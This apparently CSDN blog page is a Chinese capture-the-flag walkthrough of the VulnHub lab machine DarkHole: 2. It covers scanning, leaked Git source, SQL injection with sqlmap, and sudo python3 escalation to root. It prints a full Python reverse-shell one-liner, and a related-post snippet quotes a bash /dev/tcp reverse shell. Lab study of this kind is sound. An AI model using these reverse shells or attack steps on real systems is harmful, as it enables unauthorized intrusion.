DarkHole: 2 vulnhub walkthrough

网络安全实战进阶:从靶场到渗透高手的系统化成长路线 网络安全的核心在于理解攻击与防御的原理。从基础的网络协议、操作系统安全机制到常见的漏洞类型(如SQL注入、跨站脚本),其背后是攻防双方在信息收集、漏洞利用、权限提升等环节的持续对抗。掌握这些技术不仅能提升系统防护能力,更能培养主动发现和修复安全风险的核心价值。在实际应用场景中,无论是企业安全防护、渗透测试还是漏洞赏金,扎实的实战能力都至关重要。本文以热门靶场GoldenEye和LordOfTheRoot为例,系统拆解了从信息收集、漏洞利用到内网横向移动的完整攻击链,提供了一套可执行、可验证的成长体系,帮助学 阅读详情

下载地址:

https://www.vulnhub.com/entry/darkhole-2,740/

主机和端口发现:

➜  ~ nmap -sn 192.168.143.0/24
Host is up (0.00010s latency).
Nmap scan report for 192.168.143.206

➜  ~ nmap -T4 -v -p- 192.168.143.206
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

访问web服务,有一个登录页面:

login

尝试注入失败,于是dirb爆破一下目录:

dirb

发现了git目录,于是使用git_extract提取目标代码,首先查看login.php。

<?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
    if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
        $_SESSION['userid'] = 1;
        header("location:dashboard.php");
        die();
    }

}
?>

获取用户名和密码后登录,发现一处注入点。

sqlinject

直接使用sqlmap进行自动化注入,需要注意的是需要cookie,在ssh表中得到了用户名和密码:

+--------+------+
| user   | pass |
+--------+------+
| jehad  | fool |
+--------+------+

ssh登录,进入/home/losy,获取到用户flag。

jehad@darkhole:/home/losy$ cat user.txt
DarkHole{'This_is_the_life_man_better_than_a_cruise'}

查看进程,发现一个进程。

localphp

查看后是本地写了一个一句话shell,利用它反弹一个用户losy的shell,这里使用python反弹shell。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.143.135",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

进行url编码后作为cmd输入,成功切换到用户losy。

losy

查看.bash_history,获取losy用户密码gang。

password

查看sudo,发现可以运行python3,成功获取root。

root

VulnHub-DarkHole_2靶机渗透教程 直接使用VMware导入打开就行注意:靶机的网络连接模式必须和kali一样,让靶机跟kali处于同一网段,这样kali才能扫出靶机的地址。 阅读详情

相关推荐

靶机通关 | DarkHole_2靶机通关秘籍~

靶机通关 | DarkHole_2靶机通关秘籍~

鱼溯的博客 553

VulnHub-DarkHole_2靶机实战(超详细保姆级教程)

记得我们查看过9999端口运行的程序,当我们看到源代码的内容时,我们看到这允许远程命令执行。bash -c ‘bash -i >& /dev/tcp/192.168.184.156/9001 0>&1’ #记得修改你的IP。id=1' and 1=2 --+ #页面信息消失,说明id的闭合为单引号。到此,我们就可以进行ssh连接了.下面是拓展工具注入的方式.着急看结果的宝宝们可以直接移步下面的ssh连接步骤.

精品博客,你值得一看~ 9611

家庭宽带IPv6避坑指南:如何通过DHCPv6-PD获取公网地址(附OpenWRT配置)

本文详细解析了家庭宽带IPv6的地址分配机制,重点介绍了通过DHCPv6-PD获取公网地址的方法,并提供了OpenWRT路由器的具体配置步骤。从路由器通告(RA)标记位到前缀委派(PD)流程,帮助用户解决IPv6部署中的常见问题,实现稳定高效的IPv6网络连接。

backprop5master的博客 1191

Dark_hole2靶机实战——详细版

Sorry, user jehad may not run sudo on darkhole.(不可 sudo提权)--------------计划任务提权-------------sudo -l (发现不能够使用sudo,因为没有losy密码)发现修改历史中有账号和密码,以及dashboard.php页面。方法二:josy用户退回到根目录查看所有文件(包括隐藏文件)SSH登录losy用户(sudo提权)发现账号管理页面,可以修改账号信息。方法一:想到爆破密码(一般不建议)获取到SSH用户密码!

qq_74243714的博客 1276

【顾邦小讲堂】第二十四期 电源环路测试从入门到精髓:一文掌握环路测试原理与电压注入点选择依据

电源环路测试是评估开关电源、线性电源等闭环系统稳定性的核心手段,直接关系到电源的稳定性、输出精度、动态响应、抗干扰能力甚至可靠性

GBupupup的博客 2111

迈创Cameralink采集卡与MIL软件集成开发实战指南

本文详细介绍了迈创Cameralink采集卡与MIL软件的集成开发实战指南,涵盖硬件安装、驱动配置、MIL软件深度设置及图像采集处理等关键步骤。特别适合工业视觉检测和医疗影像领域,通过优化配置和性能调优,实现高速稳定的图像处理。

weixin_29204205的博客 423

Vulnhub--DarkHole:2

DarkHole2

weixin_45168704的博客 384

车辆TBOX科普 第7次 TBOX技术深度解析:硬件架构与核心组件详解

摘要: TBOX(车载远程信息处理单元)是智能网联汽车的核心组件,承担数据采集、通信连接与安全交互等关键功能。其硬件架构以主控单元为核心,采用ARM架构处理器(如NXP i.MX系列)实现高效能低功耗处理,搭配DDR4/LPDDR5内存保障性能,eMMC/UFS存储确保数据可靠性。设计中需平衡车规级可靠性(AEC-Q100)、EMC兼容性及成本控制,同时集成通信、定位与安全模块。未来趋势聚焦异构计算、先进制程及功能安全(ASIL-D)与信息安全融合,推动TBOX向边缘计算节点演进。该技术是汽车智能化转型的重

IT深耕十余载,大道之简 861

看完这篇 教你玩转渗透测试靶机vulnhub—DarkHole2

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。这是一个漏洞靶机,老样子需要找到flag即可。这个靶机难度适中。

Aluxian_的博客 1579

【国民技术N32项目移植】基于 Windows 的 ARM GCC 开发环境

【国民技术N32项目移植】基于 Windows 的 ARM GCC 开发环境

weixin_42150032的博客 1361

易智联LM401模块学习(一)——初识Lora

Lora

weixin_46046597的博客 1054

【渗透测试】DarkHole 2靶场渗透测试

选择镜像文件进行下载。下载后解压是一个zip文件,在虚拟机中选择-打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。无。获取root权限,共有两个flag。确定IP地址、端口扫描、网站访问、目录扫描、网站下载、获得邮箱和密码。使用nmap确定该靶场IP地址,地址为:192.168.241.181。使用nmap进行端口扫描,发现其开放22和80端口。22端口开放SSH服务,OpenSSH 8.1p1;

小司机的奥拓 1615

【ArcGIS】07 ArcHydroTools对COM组件的调用返回了错误

在用Arc Hydro Tools提取流域时,在DEM Reconditioning时可能会遇到这个问题: 经过摸索,发现了问题产生的原因: 结果文件保存在了有中文的路径中。 解决的办法: 首先,把ArcGIS切换成英文版 搜索ArcGlS Administrator,以管理员方式打开 点击高级,选择语言为English 其次,新建mxd文档 删除原来的mxd文档,新建mxd文档,放置原来的图层文件。如果不这样做,最后一步的Map Name还会是“图层”这两个汉字。 最后,设置Arc Hydro T

记录专业模型开发、算法程序设计、软件学习笔记、生活日志。 4918

[渗透测试学习靶机05] vulnhub靶场 DarkHole: 2

vulnhub靶场 DarkHole: 2,难度:困难级别

weixin_47112073的博客 1899

用 ABAP OAuth 2.0 Client 直连 SAP SuccessFactors:从体系到落地的一条龙实践指南

ABAP SMI允许在后端对外部服务的OData端点进行定义与自定义化配置,并以受信连接的方式暴露给ABAP应用调用。它并不替代OAuth,而是扮演端点与自定义参数的集中化定义者,最终认证依旧由完成。对于需要在ABAP后端发起临时或补充型OData调用的场景,SMI是一个轻量而清晰的集成入口。scope的客户端应用已经完成注册,API DomainCompany ID、证书或密钥都已归档。ABAP的Profile与Client已建立并绑定,OA2C_GRANT可见绿色访问状态。SMI。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 286

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

VulnHub-DarkHole_2靶机搭建保姆级教程2025

‌是一个提供各种网络攻防靶场的平台‌,主要用于网络安全学习和渗透测试。用户可以通过Vulnhub下载各种虚拟镜像,这些镜像模拟了真实的网络环境,用户可以在这些环境中进行渗透测试和安全演练‌。下载zip文件并解压。

CL1799438883的博客 925

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

VulnHub-DarkHole_ 2靶机详细渗透过程

VulnHub-DarkHole: 2靶机详细渗透过程

MRS_jianai的博客 2210

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

DarkHole_2靶场

vulnhub靶场DarkHole_2攻略

zjxxxy的博客 616

Vulnhub靶场:Darkhole:2

1.git泄露2.sql注入3.ssh隧道4.sudo提权。

a3314019530的博客 1391

DarkHole2渗透测试

vulnhub靶机DarkHole2渗透记录 难度:高

weixin_43769253的博客 654

vulnhub靶场————darkhole 2

nmap 、git(git log git checkout ) 、 linux提权命令 、 python提权命令·.bash_history文件这次靶场主要是学习了文件,命令等基础知识。思路还是很简单的。

m0_65809311的博客 1700

DarkHole: 2靶场渗透

10,再重新登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机.这一步是 sqlmap 的启发式检测,没发现明显异常,但不代表不存在注入。注意到nmap扫描出存在/.git目录,可以通过/.git/得到网页源代码。存在三个用户,那么应该不会直接提权成为root,而是先横向移动到其他用户上。发现一些和黑客入侵痕迹的历史命令,而且本地有9999端口的服务.8,注意到传参方式是通过id进行的,再次尝试手工sql注入。6,直接开始原汁原味的手工sql注入。

sucker的博客 1362

VulnHub-DarkHole_2靶机实战(超详细保姆级教程),这份字节跳动历年校招网络安全面试真题解析

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份。

1126

darkhole系列--darkhole-2 (超详细)

curl是一个命令行访问URL的工具,作用是发出网络请求,然后得到和提取数据,显示在"标准输出"(stdout)上面。可以用它构造http request报文,且可以解析服务器返回的http response,额外还支持cookie特性,可以用curl完成web浏览器的基本功能。访问本地的9999端口,发现cmd命令传递了进来,并显示出来。通过上一步我们发现/opt/web目录下会定时运行HTTP服务,查看该目录下的index,发现里面是一个命令执行代码。去找家目录,然后通过系统命令访问,能看到历史记录。

🔐 专注于网络安全实战方向,分享主流靶场(如DVWA、Vulnhub、HTB等)通关详解与技术复盘 1072

Vulnhub之DARKHOLE: 2渗透测试

目录1、靶机概述2、信息搜集分析git源码SQL注入获取losy用户shell提权到root 1、靶机概述 Description Difficulty:Hard This works better with VMware rather than VirtualBox Hint: Don’t waste your time For Brute-Force kali:192.168.110.128 靶机:192.168.110.137 2、信息搜集 首先探测靶机IP地址 扫一下端口和服务,可知靶机只开启了2

Bird&Bird 4124
上一篇: hackmyvm: may walkthrough
下一篇: VIKINGS: 1 vulnhub walkthrough
xdeclearn
博客等级 码龄6年 29粉丝 27原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值